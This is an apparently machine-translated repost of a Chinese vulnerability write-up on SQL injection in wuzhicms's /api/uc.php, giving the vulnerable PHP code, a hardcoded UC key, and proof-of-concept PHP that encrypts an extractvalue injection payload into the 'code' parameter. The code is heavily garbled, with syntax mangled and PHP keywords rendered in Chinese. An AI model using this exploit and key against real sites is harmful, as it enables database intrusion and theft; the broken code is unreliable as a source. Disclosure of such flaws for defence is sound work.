API/uc.phpsql中有注入。

漏洞文件/api/uc.php

& lt?服务器端编程语言(Professional Hypertext Preprocessor的缩写)

$code = isset?$ GLOBALS:' ';

$ get = $ GLOBALS

parse_str,$ get);

if$ get = _ strip斜杠;

...

if;

标题;

$ action = $ get;

echo $uc_note->$action;

exit;

} else {

退出;

}

...

函数synlogin {

标题;

$ username = $ get;

$r = $this->。成员->;db->get_one。$username。"');

if{

$cookietime = COOKIE_TTL?系统时间。COOKIE _ TTL:0;

set_cookie。“t”。$r。“t”。$cookietime,substr,8,8)),$ cookietime);

set_cookie;

set_cookie;

set_cookie;

}

return API _ RETURN _ SUCCEED

}

?>。

就像上面的代码一样,如果我们知道UCYKEY,我们就可以解码所有的$get参数,“用户名”参数会导致SQL被注入到最新的版本中,uckkey就是“UCYKEY”= >:e063 rbkhx 22 ravig

我们可以使用以下代码来计算代码值

$a = 'time= '。时间。& ampaction = synlogin & ampusername=aa "和extractvalue)# ';

$code1 = urlencode;

var _ dump;退出;

function _authcode{

$ ckey _ length = 4;

$key = md5;

$keya = md5);

$keyb = md5);

$ keyc = $ ckey _ length?:substr),-$ ckey _ length)):' ';

$cryptkey = $keya.md5;

$ key _ length = strlen;

$string = $operation == 'DECODE '?base64_decode) : sprintf:0)。substr,0,16)。$ string

$ string _ length = strlen;

$ result =

$box = range;

$ rnd key = array;

for {

$ rnd key= order;

}

for {

$ j =% 256;

$ tmp = $ box;

$ box= $ box;

$ box= $ tmp;

}

for {

$ a =% 256;

$ j =% 256;

$ tmp = $ box;

$ box= $ box;

$ box= $ tmp;

$结果。= chr^% 256]);

}

if {

if == 0 || substr - time>0)和amp& ampsubstr= substr)。$keyb),0,16){

返回substr;

} else {

返回“”;

}

} else {

return $ key . str _ replace);

}

}

==========================

POC &。& amp经历

1.《5diary wuzhicms注入》援引自互联网,旨在传递更多网络信息知识,仅代表作者本人观点,与本网站无关,侵删请联系页脚下方联系方式。

2.《5diary wuzhicms注入》仅供读者参考,本网站未对该内容进行证实,对其原创性、真实性、完整性、及时性不作任何保证。

3.文章转载时请保留本站内容来源地址,https://www.lu-xu.com/guoji/1686120.html